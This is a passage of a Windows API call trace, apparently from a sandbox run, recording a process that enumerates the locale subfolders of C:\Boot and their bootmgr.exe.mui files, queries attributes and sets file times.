lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0225.950] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0225.950] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.950] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0225.950] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0225.951] GetLastError () returned 0x12 [0225.951] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0225.951] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0225.951] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0225.951] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.951] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0225.951] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.951] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0225.951] CreateFileW (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0225.951] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0225.951] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0225.951] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0225.951] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0225.951] NtClose (Handle=0x170) returned 0x0 [0225.951] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.951] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0225.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0225.952] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0225.952] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.952] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0225.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0225.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0225.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0225.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0225.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0225.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f38d0 [0225.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae8c8 [0225.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0225.952] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0225.952] GetLastError () returned 0x12 [0225.952] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0225.952] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0225.952] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.952] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0225.952] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0225.952] GetLastError () returned 0x12 [0225.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0225.952] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0225.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0225.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.953] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0225.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.953] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.104] CreateFileW (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0226.104] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.104] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.104] NtClose (Handle=0x1ac) returned 0x0 [0226.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.104] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.105] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.105] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f38f0 [0226.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae840 [0226.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.105] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.105] GetLastError () returned 0x12 [0226.105] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.105] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.105] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.105] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.105] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.105] GetLastError () returned 0x12 [0226.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.105] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.105] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0226.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.106] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.106] CreateFileW (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0226.106] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.106] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.106] NtClose (Handle=0x170) returned 0x0 [0226.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.106] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.106] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.107] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3910 [0226.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af610 [0226.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.107] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.107] GetLastError () returned 0x12 [0226.107] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.107] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.107] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.107] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.107] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.107] GetLastError () returned 0x12 [0226.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.107] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.107] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0226.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.107] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: 